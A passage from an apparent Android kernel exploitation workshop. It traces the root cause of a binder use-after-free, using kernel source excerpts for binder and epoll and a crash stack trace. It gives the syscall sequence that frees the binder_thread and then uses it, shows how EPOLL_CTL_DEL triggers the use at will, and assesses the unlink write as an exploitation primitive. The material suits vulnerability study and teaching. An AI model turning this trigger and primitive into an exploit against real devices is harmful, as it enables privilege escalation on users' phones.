-[< none >] ep_free+0x8b/0x181 fs/eventpoll.c:847
- ?[< none >] ep_eventpoll_poll+0x228/0x228 fs/eventpoll.c:942
-[< none >] ep_eventpoll_release+0x48/0x54 fs/eventpoll.c:879
-[< none >] __fput+0x1f2/0x51d fs/file_table.c:210
-[< none >] ____fput+0x15/0x18 fs/file_table.c:244
-[< none >] task_work_run+0x127/0x154 kernel/task_work.c:113
-[< inline >] exit_task_work include/linux/task_work.h:22
-[< none >] do_exit+0x818/0x2384 kernel/exit.c:875
- ?[< none >] mm_update_next_owner+0x52f/0x52f kernel/exit.c:468
-[< none >] do_group_exit+0x12c/0x24b kernel/exit.c:978
- ?[< inline >] spin_unlock_irq include/linux/spinlock.h:367
- ?[< none >] do_group_exit+0x24b/0x24b kernel/exit.c:975
-[< none >] SYSC_exit_group+0x17/0x17 kernel/exit.c:989
-[< none >] SyS_exit_group+0x14/0x14 kernel/exit.c:987
-[< none >] do_syscall_64+0x19e/0x225 arch/x86/entry/common.c:292
-[< none >] entry_SYSCALL_64_after_hwframe+0x3d/0xa2 arch/x86/entry/entry_64.S:233
-```
-
-Here is the simplified call graph.
-
-
-
-
-
-We don't see any line in the PoC which calls `SyS_exit_group`. It turns out that the **use** happens when the process exits, and eventually `exit_group` system call is called. This is when it tries to cleanup the resources and uses the **dangling** chunk erroneously.
-
-
-## Visual Studio Code {#visual-studio-code}
-
-We will use **Visual Studio Code** for **Android** kernel source code **navigation**. I used this project https://github.com/amezin/vscode-linux-kernel for better **intellisense** support.
-
-
-## Static Analysis {#static-analysis}
-
-We already know that `binder_thread` is the **dangling** chunk. Let's statically trace the function calls in the crashing PoC and see what's happening.
-
-We want to answer the following questions:
-
-* Why `binder_thread` structure was **allocated**?
-* Why `binder_thread` structure was **freed**?
-* Why the use of `binder_thread` structure happened when it's already **freed**?
-
-
-### open {#syscall-open}
-
-```c
-fd = open("/dev/binder", O_RDONLY);
-```
-
-Let's open `workshop/android-4.14-dev/goldfish/drivers/android/binder.c` and see how `open` system call is implemented.
-
-```c
-static const struct file_operations binder_fops = {
- [...]
- .open = binder_open,
- [...]
-};
-```
-
-We see that `open` system call is handled by `binder_open` function.
-
-
-Let's follow `binder_open` function and find out what it does.
-
-```c
-static int binder_open(struct inode *nodp, struct file *filp)
-{
- struct binder_proc *proc;
- [...]
- proc = kzalloc(sizeof(*proc), GFP_KERNEL);
- if (proc == NULL)
- return -ENOMEM;
- [...]
- filp->private_data = proc;
- [...]
- return 0;
-}
-```
-
-`binder_open` allocates `binder_proc` data structure and assigns it to the `filp->private_data`.
-
-
-### epoll_create {#syscall-epoll-create}
-
-```c
-epfd = epoll_create(1000);
-```
-
-Let's open `workshop/android-4.14-dev/goldfish/fs/eventpoll.c` and see how `epoll_create` system call is implemented. We will also follow the call graph and look into all the important functions that `epoll_create` will call.
-
-```c
-SYSCALL_DEFINE1(epoll_create, int, size)
-{
- if (size <= 0)
- return -EINVAL;
-
- return sys_epoll_create1(0);
-}
-```
-
-`epoll_create` checks if `size <= 0` and then calls `sys_epoll_create1`. We can see that `1000` passed as parameter does not have any specific implications. The `size` parameter should be greater than `0`.
-
-
-Let's follow the `sys_epoll_create1` function.
-
-```c
-SYSCALL_DEFINE1(epoll_create1, int, flags)
-{
- int error, fd;
- struct eventpoll *ep = NULL;
- struct file *file;
- [...]
- error = ep_alloc(&ep);
- if (error < 0)
- return error;
- [...]
- file = anon_inode_getfile("[eventpoll]", &eventpoll_fops, ep,
- O_RDWR | (flags & O_CLOEXEC));
- [...]
- ep->file = file;
- fd_install(fd, file);
- return fd;
- [...]
- return error;
-}
-```
-
-`epoll_create1` calls `ep_alloc`, sets `ep->file = file` and finally returns the **epoll** file descriptor `fd`.
-
-
-Let's follow `ep_alloc` function and find out what it does.
-
-```c
-static int ep_alloc(struct eventpoll **pep)
-{
- int error;
- struct user_struct *user;
- struct eventpoll *ep;
- [...]
- ep = kzalloc(sizeof(*ep), GFP_KERNEL);
- [...]
- init_waitqueue_head(&ep->wq);
- init_waitqueue_head(&ep->poll_wait);
- INIT_LIST_HEAD(&ep->rdllist);
- ep->rbr = RB_ROOT_CACHED;
- [...]
- *pep = ep;
- return 0;
- [...]
- return error;
-}
-```
-
-* allocates `struct eventpoll`, initializes **wait queues** `wq` and `poll_wait` members
-* initializes `rbr` member which is the **red black tree** root
-
-
-`struct eventpoll` is the main data structure used by **event polling** subsystem. Let's see how `eventpoll` structure is defined in `workshop/android-4.14-dev/goldfish/fs/eventpoll.c`.
-
-```c
-struct eventpoll {
- /* Protect the access to this structure */
- spinlock_t lock;
-
- /*
- * This mutex is used to ensure that files are not removed
- * while epoll is using them. This is held during the event
- * collection loop, the file cleanup path, the epoll file exit
- * code and the ctl operations.
- */
- struct mutex mtx;
-
- /* Wait queue used by sys_epoll_wait() */
- wait_queue_head_t wq;
-
- /* Wait queue used by file->poll() */
- wait_queue_head_t poll_wait;
-
- /* List of ready file descriptors */
- struct list_head rdllist;
-
- /* RB tree root used to store monitored fd structs */
- struct rb_root_cached rbr;
-
- /*
- * This is a single linked list that chains all the "struct epitem" that
- * happened while transferring ready events to userspace w/out
- * holding ->lock.
- */
- struct epitem *ovflist;
-
- /* wakeup_source used when ep_scan_ready_list is running */
- struct wakeup_source *ws;
-
- /* The user that created the eventpoll descriptor */
- struct user_struct *user;
-
- struct file *file;
-
- /* used to optimize loop detection check */
- int visited;
- struct list_head visited_list_link;
-
-#ifdef CONFIG_NET_RX_BUSY_POLL
- /* used to track busy poll napi_id */
- unsigned int napi_id;
-#endif
-};
-```
-
-
-### epoll_ctl {#syscall-epoll-ctl}
-
-```c
-epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
-```
-
-Let's open `workshop/android-4.14-dev/goldfish/fs/eventpoll.c` and see how `epoll_ctl` is implemented. We are passing `EPOLL_CTL_ADD` as the operation parameter.
-
-```c
-SYSCALL_DEFINE4(epoll_ctl, int, epfd, int, op, int, fd,
- struct epoll_event __user *, event)
-{
- int error;
- int full_check = 0;
- struct fd f, tf;
- struct eventpoll *ep;
- struct epitem *epi;
- struct epoll_event epds;
- struct eventpoll *tep = NULL;
-
- error = -EFAULT;
- if (ep_op_has_event(op) &&
- copy_from_user(&epds, event, sizeof(struct epoll_event)))
- goto error_return;
-
- error = -EBADF;
- f = fdget(epfd);
- if (!f.file)
- goto error_return;
-
- /* Get the "struct file *" for the target file */
- tf = fdget(fd);
- if (!tf.file)
- goto error_fput;
- [...]
- ep = f.file->private_data;
- [...]
- epi = ep_find(ep, tf.file, fd);
-
- error = -EINVAL;
- switch (op) {
- case EPOLL_CTL_ADD:
- if (!epi) {
- epds.events |= POLLERR | POLLHUP;
- error = ep_insert(ep, &epds, tf.file, fd, full_check);
- } else
- error = -EEXIST;
- [...]
- [...]
- }
- [...]
- return error;
-}
-```
-
-* copies `epoll_event` structure from **user space** to **kernel space**
-* finds the corresponding `file` pointers of `epfd` and `fd` file descriptors
-* gets the pointer to `eventpoll` structure from the `private_data` member of the `file` pointer of the epoll file descriptor `epfd`
-* calls `ep_find` to find the pointer to linked `epitem` structure from the **red black tree** node stored in `eventpoll` structure matching the file descriptor `fd`
-* if `epitem` is not found for the corresponding `fd`, then it calls `ep_insert` function to allocate and link a `epitem` to `eventpoll` structure's `rbr` member
-
-
-Let's see how `struct epitem` is defined.
-
-```c
-struct epitem {
- union {
- /* RB tree node links this structure to the eventpoll RB tree */
- struct rb_node rbn;
- /* Used to free the struct epitem */
- struct rcu_head rcu;
- };
-
- /* List header used to link this structure to the eventpoll ready list */
- struct list_head rdllink;
-
- /*
- * Works together "struct eventpoll"->ovflist in keeping the
- * single linked chain of items.
- */
- struct epitem *next;
-
- /* The file descriptor information this item refers to */
- struct epoll_filefd ffd;
-
- /* Number of active wait queue attached to poll operations */
- int nwait;
-
- /* List containing poll wait queues */
- struct list_head pwqlist;
-
- /* The "container" of this item */
- struct eventpoll *ep;
-
- /* List header used to link this item to the "struct file" items list */
- struct list_head fllink;
-
- /* wakeup_source used when EPOLLWAKEUP is set */
- struct wakeup_source __rcu *ws;
-
- /* The structure that describe the interested events and the source fd */
- struct epoll_event event;
-};
-```
-
-Below given diagram shows how an `epitem` structure is linked to `eventpoll` structure.
-
-
-
-
-
-
-Let's follow `ep_insert` function and see what it exactly does.
-
-```c
-static int ep_insert(struct eventpoll *ep, struct epoll_event *event,
- struct file *tfile, int fd, int full_check)
-{
- int error, revents, pwake = 0;
- unsigned long flags;
- long user_watches;
- struct epitem *epi;
- struct ep_pqueue epq;
- [...]
- if (!(epi = kmem_cache_alloc(epi_cache, GFP_KERNEL)))
- return -ENOMEM;
-
- /* Item initialization follow here ... */
- INIT_LIST_HEAD(&epi->rdllink);
- INIT_LIST_HEAD(&epi->fllink);
- INIT_LIST_HEAD(&epi->pwqlist);
- epi->ep = ep;
- ep_set_ffd(&epi->ffd, tfile, fd);
- epi->event = *event;
- [...]
-
- /* Initialize the poll table using the queue callback */
- epq.epi = epi;
- init_poll_funcptr(&epq.pt, ep_ptable_queue_proc);
- [...]
- revents = ep_item_poll(epi, &epq.pt);
- [...]
- ep_rbtree_insert(ep, epi);
- [...]
- return 0;
- [...]
- return error;
-}
-```
-
-* allocates a temporary structure `ep_pqueue`
-* allocates `epitem` structure and initializes it
-* initializes `epi->pwqlist` member which is used to link the **poll wait queues**
-* sets the `epitem` structure member `ffd->file = file` and `ffd->fd = fd` which is the binder's `file` structure pointer and descriptor in our case by calling `ep_set_ffd`
-* sets `epq.epi` to `epi` pointer
-* sets `epq.pt->_qproc` to `ep_ptable_queue_proc` **callback** address
-* calls `ep_item_poll` passing `epi` and address of `epq.pt` (poll table) as arguments
-* finally, links `epitem` structure to `eventpoll` structure's **red black tree** root node by calling `ep_rbtree_insert` function
-
-
-Let's follow `ep_item_poll` and find out what it does.
-
-```c
-static inline unsigned int ep_item_poll(struct epitem *epi, poll_table *pt)
-{
- pt->_key = epi->event.events;
-
- return epi->ffd.file->f_op->poll(epi->ffd.file, pt) & epi->event.events;
-}
-```
-
-* calls `poll` function in the binder's `file` structure `f_op->poll` passing binder's `file` structure pointer and `poll_table` pointer
-
-
-> **Note:** Now, we are jumping to **binder** subsystem from **epoll** subsystem.
-
-
-Let's open `workshop/android-4.14-dev/goldfish/drivers/android/binder.c` and see how `poll` system call is implemented.
-
-```c
-static const struct file_operations binder_fops = {
- [...]
- .poll = binder_poll,
- [...]
-};
-```
-
-We see that `poll` system call is handled by `binder_poll` function.
-
-
-Let's follow `binder_poll` function and find out what it does.
-
-```c
-static unsigned int binder_poll(struct file *filp,
- struct poll_table_struct *wait)
-{
- struct binder_proc *proc = filp->private_data;
- struct binder_thread *thread = NULL;
- [...]
- thread = binder_get_thread(proc);
- if (!thread)
- return POLLERR;
- [...]
- poll_wait(filp, &thread->wait, wait);
- [...]
- return 0;
-}
-```
-
-* gets the pointer to `binder_proc` structure from `filp->private_data`
-* calls `binder_get_thread` passing `binder_proc` structure pointer
-* finally calls `poll_wait` passing binder's `file` structure pointer, `&thread->wait` which is `wait_queue_head_t` pointer and `poll_table_struct` pointer
-
-
-Let's first follow `binder_get_thread` and find out what it does. After that we will follow `poll_wait` function.
-
-```c
-static struct binder_thread *binder_get_thread(struct binder_proc *proc)
-{
- struct binder_thread *thread;
- struct binder_thread *new_thread;
- [...]
- thread = binder_get_thread_ilocked(proc, NULL);
- [...]
- if (!thread) {
- new_thread = kzalloc(sizeof(*thread), GFP_KERNEL);
- [...]
- thread = binder_get_thread_ilocked(proc, new_thread);
- [...]
- }
- return thread;
-}
-```
-
-* tries to get the `binder_thread` if present in `proc->threads.rb_node` by calling `binder_get_thread_ilocked`
-* else it allocates a `binder_thread` structure
-* finally calls `binder_get_thread_ilocked` again, which initializes the newly allocated `binder_thread` structure and link it to the `proc->threads.rb_node` member which is basically a **red black tree** node
-
-If you see the call graph in **[Allocation](root-cause-analysis.md#revisiting-crash-allocation)** section, you will find that this is where the `binder_thread` structure is **allocated**.
-
-
-Now, let's follow `poll_wait` function and find out what it does.
-
-```c
-static inline void poll_wait(struct file * filp, wait_queue_head_t * wait_address, poll_table *p)
-{
- if (p && p->_qproc && wait_address)
- p->_qproc(filp, wait_address, p);
-}
-```
-
-* calls the **callback** function assigned to `p->_qproc` passing binder's `file` structure pointer, `wait_queue_head_t` pointer and `poll_table` pointer
-
-If you go up and see `ep_insert` function, you will see that `p->_qproc` was set to `ep_ptable_queue_proc` function's address.
-
-
-> **Note:** Now, we are jumping back to **epoll** subsystem from **binder** subsystem.
-
-
-Let's open `workshop/android-4.14-dev/goldfish/fs/eventpoll.c` and try to understand what `ep_ptable_queue_proc` function does.
-
-```c
-/*
- * This is the callback that is used to add our wait queue to the
- * target file wakeup lists.
- */
-static void ep_ptable_queue_proc(struct file *file, wait_queue_head_t *whead,
- poll_table *pt)
-{
- struct epitem *epi = ep_item_from_epqueue(pt);
- struct eppoll_entry *pwq;
-
- if (epi->nwait >= 0 && (pwq = kmem_cache_alloc(pwq_cache, GFP_KERNEL))) {
- init_waitqueue_func_entry(&pwq->wait, ep_poll_callback);
- pwq->whead = whead;
- pwq->base = epi;
- if (epi->event.events & EPOLLEXCLUSIVE)
- add_wait_queue_exclusive(whead, &pwq->wait);
- else
- add_wait_queue(whead, &pwq->wait);
- list_add_tail(&pwq->llink, &epi->pwqlist);
- epi->nwait++;
- } else {
- /* We have to signal that an error occurred */
- epi->nwait = -1;
- }
-}
-```
-
-* gets pointer to `epitem` structure from `poll_table` by calling `ep_item_from_epqueue` function
-* allocates `eppoll_entry` structure and initializes it members
-* sets `whead` member of `eppoll_entry` structure to the pointer to `wait_queue_head_t` structure passed by `binder_poll`, which is basically the pointer to `binder_thread->wait`
-* links `whead` (`binder_thread->wait`) to `eppoll_entry->wait` by calling `add_wait_queue`
-* finally `eppoll_entry->llink` is linked to `epitem->pwqlist` by calling `list_add_tail`
-
-
-> **Note:** If you look at the code, you will notice that there are **two** places which holds the reference to `binder_thread->wait`. First reference is stored in `eppoll_entry->wait` and the second reference is stored in `eppoll_entry->whead`.
-
-
-Let's see how `struct eppoll_entry` is defined.
-
-```c
-struct eppoll_entry {
- /* List header used to link this structure to the "struct epitem" */
- struct list_head llink;
-
- /* The "base" pointer is set to the container "struct epitem" */
- struct epitem *base;
-
- /*
- * Wait queue item that will be linked to the target file wait
- * queue head.
- */
- wait_queue_entry_t wait;
-
- /* The wait queue head that linked the "wait" wait queue item */
- wait_queue_head_t *whead;
-};
-```
-
-Below given diagram is the simplified call graph of how `binder_thread` structure is allocated and gets linked to **epoll** subsystem.
-
-
-
-
-
-
-Below given diagram shows how `eventpoll` structure is connected with `binder_thread` structure.
-
-
-
-
-
-
-### ioctl {#syscall-ioctl}
-
-```c
-ioctl(fd, BINDER_THREAD_EXIT, NULL);
-```
-
-Let's open `workshop/android-4.14-dev/goldfish/drivers/android/binder.c` and see how `ioctl` system call is implemented.
-
-```
-static const struct file_operations binder_fops = {
- [...]
- .unlocked_ioctl = binder_ioctl,
- .compat_ioctl = binder_ioctl,
- [...]
-};
-```
-
-We see that `unlocked_ioctl` and `compat_ioctl` system call is handled by `binder_ioctl` function.
-
-
-Let's follow `binder_ioctl` function and see how it handles `BINDER_THREAD_EXIT` request.
-
-```c
-static long binder_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
-{
- int ret;
- struct binder_proc *proc = filp->private_data;
- struct binder_thread *thread;
- unsigned int size = _IOC_SIZE(cmd);
- void __user *ubuf = (void __user *)arg;
- [...]
- thread = binder_get_thread(proc);
- [...]
- switch (cmd) {
- [...]
- case BINDER_THREAD_EXIT:
- [...]
- binder_thread_release(proc, thread);
- thread = NULL;
- break;
- [...]
- default:
- ret = -EINVAL;
- goto err;
- }
- ret = 0;
- [...]
- return ret;
-}
-```
-
-* gets the pointer to `binder_thread` structure from `binder_proc` structure
-* calls `binder_thread_release` function passing pointers to `binder_proc` and `binder_thread` structures as the parameters
-
-
-Let's follow `binder_thread_release` and find out what it does.
-
-```c
-static int binder_thread_release(struct binder_proc *proc,
- struct binder_thread *thread)
-{
- [...]
- int active_transactions = 0;
- [...]
- binder_thread_dec_tmpref(thread);
- return active_transactions;
-}
-```
-
-
-> **Note:** Remember, we had applied a custom *patch* in this function itself to **reintroduce** the **vulnerability**.
-
-
-* interesting part of this function is that, it calls the `binder_thread_dec_tmpref` function passing pointer to `binder_thread` structure
-
-
-Let's follow `binder_thread_dec_tmpref` and find out what it does.
-
-```c
-static void binder_thread_dec_tmpref(struct binder_thread *thread)
-{
- [...]
- if (thread->is_dead && !atomic_read(&thread->tmp_ref)) {
- [...]
- binder_free_thread(thread);
- return;
- }
- [...]
-}
-```
-
-* calls `binder_free_thread` function passing pointer to `binder_thread` structure
-
-
-Let's follow `binder_free_thread` and find out what it does.
-
-```c
-static void binder_free_thread(struct binder_thread *thread)
-{
- [...]
- kfree(thread);
-}
-```
-
-* calls `kfree` function which frees the kernel heap chunk storing `binder_thread` structure
-
-If you see the call graph in **[Free](root-cause-analysis.md#revisiting-crash-free)** section, you will find that this is where the `binder_thread` structure is **freed**.
-
-
-### ep_remove {#syscall-ep-remove}
-
-If you see the call graph in **[Use](root-cause-analysis.md#revisiting-crash-use)** section, you will find that `ep_unregister_pollwait` function is called when `exit_group` system call is executed. `exit_group` is usually called when the process exits. We would want to trigger the call to `ep_unregister_pollwait` at will during exploitation.
-
-Let's look at `workshop/android-4.14-dev/goldfish/fs/eventpoll.c` and try to figure out how we can call `ep_unregister_pollwait` function at will. Basically, we want to inspect the callers of `ep_unregister_pollwait` function.
-
-Looking at the code, I found two interesting callers functions `ep_remove` and `ep_free`. But `ep_remove` is a good candidate because can be called by `epoll_ctl` system call passing `EPOLL_CTL_DEL` as the operation parameter.
-
-```c
-SYSCALL_DEFINE4(epoll_ctl, int, epfd, int, op, int, fd,
- struct epoll_event __user *, event)
-{
- [...]
- struct eventpoll *ep;
- struct epitem *epi;
- [...]
- error = -EINVAL;
- switch (op) {
- [...]
- case EPOLL_CTL_DEL:
- if (epi)
- error = ep_remove(ep, epi);
- else
- error = -ENOENT;
- break;
- [...]
- }
- [...]
- return error;
-}
-```
-
-The below given line of code can trigger `ep_unregister_pollwait` function at will.
-
-```c
-epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);
-```
-
-
-Let's follow `ep_remove` function find out what it does.
-
-```c
-static int ep_remove(struct eventpoll *ep, struct epitem *epi)
-{
- [...]
- ep_unregister_pollwait(ep, epi);
- [...]
- return 0;
-}
-```
-
-* calls `ep_unregister_pollwait` function passing pointers to `eventpoll` and `epitem` structures as the parameters
-
-
-Let's follow `ep_unregister_pollwait` function find out what it does.
-
-```c
-static void ep_unregister_pollwait(struct eventpoll *ep, struct epitem *epi)
-{
- struct list_head *lsthead = &epi->pwqlist;
- struct eppoll_entry *pwq;
-
- while (!list_empty(lsthead)) {
- pwq = list_first_entry(lsthead, struct eppoll_entry, llink);
- [...]
- ep_remove_wait_queue(pwq);
- [...]
- }
-}
-```
-
-* gets the **poll wait queue** `list_head` structure pointer from `epi->pwqlist`.
-* gets the pointer `eppoll_entry` from the `epitem->llink` member which of type `struct list_head`
-* calls `ep_remove_wait_queue` passing pointer to `eppoll_entry` as the parameter
-
-
-Let's follow `ep_remove_wait_queue` function find out what it does.
-
-```c
-static void ep_remove_wait_queue(struct eppoll_entry *pwq)
-{
- wait_queue_head_t *whead;
- [...]
- whead = smp_load_acquire(&pwq->whead);
- if (whead)
- remove_wait_queue(whead, &pwq->wait);
- [...]
-}
-```
-
-* gets pointer to `wait_queue_head_t` from `eppoll_entry->whead`
-* calls `remove_wait_queue` function passing pointers to `wait_queue_head_t` and `eppoll_entry->wait` as the parameters
-
-
-> **Note:** `eppoll_entry->whead` and `eppoll_entry->wait` both has references to the **dangling** `binder_thread` structure.
-
-
-Let's open `workshop/android-4.14-dev/goldfish/kernel/sched/wait.c` and follow `remove_wait_queue` function to figure out what it does.
-
-```c
-void remove_wait_queue(struct wait_queue_head *wq_head, struct wait_queue_entry *wq_entry)
-{
- unsigned long flags;
-
- spin_lock_irqsave(&wq_head->lock, flags);
- __remove_wait_queue(wq_head, wq_entry);
- spin_unlock_irqrestore(&wq_head->lock, flags);
-}
-```
-
-* calls `spin_lock_irqsave` function passing pointer `wait_queue_head->lock` to acquire lock
-
-
-> **Note:** If you look at stack trace in **[Use](root-cause-analysis.md#revisiting-crash-use)** section, you will see that the crash occurred because `_raw_spin_lock_irqsave` used the **dangling** chunk. This is exactly the same place where the use of the **dangling** chunk happened for the first time. Remember `wait_queue_entry` also contains the references to the **dangling** chunk.
-
-
-* calls `__remove_wait_queue` function passing pointers to `wait_queue_head` and `wait_queue_entry` structures as the parameters
-
-
-Let's open `workshop/android-4.14-dev/goldfish/include/linux/wait.h` and follow `__remove_wait_queue` function to figure out what it does.
-
-```c
-static inline void
-__remove_wait_queue(struct wait_queue_head *wq_head, struct wait_queue_entry *wq_entry)
-{
- list_del(&wq_entry->entry);
-}
-```
-
-* calls `list_del` function passing pointer to `wait_queue_entry->entry` which is of type `struct list_head` as the parameter
-
-
-> **Note:** `wait_queue_head` is ignored and not used afterwards.
-
-
-Let's open `workshop/android-4.14-dev/goldfish/include/linux/list.h` and follow `list_del` function to figure out what it does.
-
-```c
-static inline void list_del(struct list_head *entry)
-{
- __list_del_entry(entry);
- [...]
-}
-
-static inline void __list_del_entry(struct list_head *entry)
-{
- [...]
- __list_del(entry->prev, entry->next);
-}
-
-static inline void __list_del(struct list_head * prev, struct list_head * next)
-{
- next->prev = prev;
- WRITE_ONCE(prev->next, next);
-}
-```
-
-This is basically **unlink** operation and will write a **pointer** to `binder_thread->wait.head` to `binder_thread->wait.head.next` and `binder_thread->wait.head.prev`, basically **unlink** `eppoll_entry->wait.entry` from `binder_thread->wait.head`.
-
-This is a much better primitive from the point of view of **exploitation** than the first use of **dangling chunk**.
-
-Below given diagrams shows how **circular double linked list** works so that you have better picture of what's really happening.
-
-
-Let's see how a single initialized node `node1` looks like. In out context, `node1` is `binder_thread->wait.head` and `node2` is `eppoll_entry->wait.entry`.
-
-
-
-
-
-Now, let's see how two nodes `node1` and `node2` are linked.
-
-
-
-
-
-Now, let's see how `node1` node looks like when `node2` node is linked.
-
-